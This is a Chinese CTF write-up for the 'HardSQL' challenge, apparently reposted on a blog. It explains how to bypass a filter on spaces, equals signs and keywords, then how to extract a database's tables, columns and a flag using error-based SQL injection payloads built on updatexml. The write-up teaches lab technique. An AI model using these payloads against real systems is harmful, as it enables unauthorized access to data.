当前位置: 首页 > article >正文

[极客大挑战 2019]HardSQL--详细解析

信息搜集

登录系统,有两个可能的注入点:
在这里插入图片描述
随便输一下看看传参类型:
在这里插入图片描述都是GET型。

SQL注入

传参 username=admin’&password=123
在这里插入图片描述
传参 username=admin&password=123’
在这里插入图片描述username和password传参,四种闭合方式只有单引号报错,说明都是单引号闭合。

猜测一下查询语句:

$sql = "SELECT ? FROM ? WHERE username='".$username."' and password='".$password."'";

在username处进行注入,看看能不能免密码登录:

admin' or 1=1# //回显:你可别被我逮住了,臭弟弟估计是有关键字被过滤了
admin'# //NO,Wrong username password!!
admin'--+ //你可别被我逮住了,臭弟弟

注释#是可以用的

大概测试了一下,空格、等号、and、–+被过滤
在这里插入图片描述

先看一下空格的绕过:/**/被过滤,%0a好像可以
但是使用之后发现%经过url编码后会被解析为%25,不能使用。
那我们就使用括号来绕过:

admin'or((1)like(1))#
password随便写

在这里插入图片描述
登录成功,说明我们的绕过方式是正确的。
但是没有回显,且过滤了union,所以不能使用联合注入。
既然有报错信息,那我们考虑报错注入:

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))# //geek
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# // '~H4rDsq1~'
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# // '~id,username,password~'
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username))from(H4rDsq1)),0x7e),1))# //flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))# //'~flag{de3c8f8a-a2ff-4699-9221-6a'
admin'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),30),0x7e),1))# //'~a-a2ff-4699-9221-6a6ec9bf77e1}~'

flag{de3c8f8a-a2ff-4699-9221-6a6ec9bf77e1}

得到flag.

总结

考察了对空格、等号和部分关键字的绕过;
考察了对报错注入的使用。


http://www.kler.cn/a/414001.html

相关文章:

  • liteflow 架构详解
  • 详谈面试题:Vue、React为什么使用虚拟DOM
  • python的openpyxl库设置表格样式:字体/边框/对齐/颜色等
  • java脚手架系列16-AI大模型集成
  • RabbitMQ的预取值详解
  • 2024御网杯信息安全大赛个人赛wp(misc方向)
  • matlab显示sin二维图
  • JavaScript对象笔记
  • 跟李笑来学美式俚语(Most Common American Idioms): Part 36
  • std::srand(static_cast<unsigned int>(std::time(0)));每一部分都是啥意思
  • 图数据库 Cypher语言
  • 深度解读sparkRDD宽窄依赖
  • C语言main()函数
  • 【C知道】ES6特性
  • 两个生活中的例子反向理解正/反向代理?
  • unity中Rigidbody组件的其他属性和方法
  • 【Kubernetes 集群核心概念:Pod】pod生命周期介绍【五】
  • PHP 生成分享海报
  • 【C++】cin、cout基础编程题:完整解析与优化解法
  • 模拟手机办卡项目(移动大厅)--结合面向对象、JDBC、MYSQL、dao层模式,使用JAVA控制台实现
  • 继承与多态(下)
  • 网络原理->DNS协议和NAT协议解
  • 04-数据结构
  • vue3 tinymce6版本 完美适配基本需求(特殊需求外)
  • Python绘画:玫瑰与代码的艺术之美
  • 百问FB显示开发图像处理 - BMP图像处理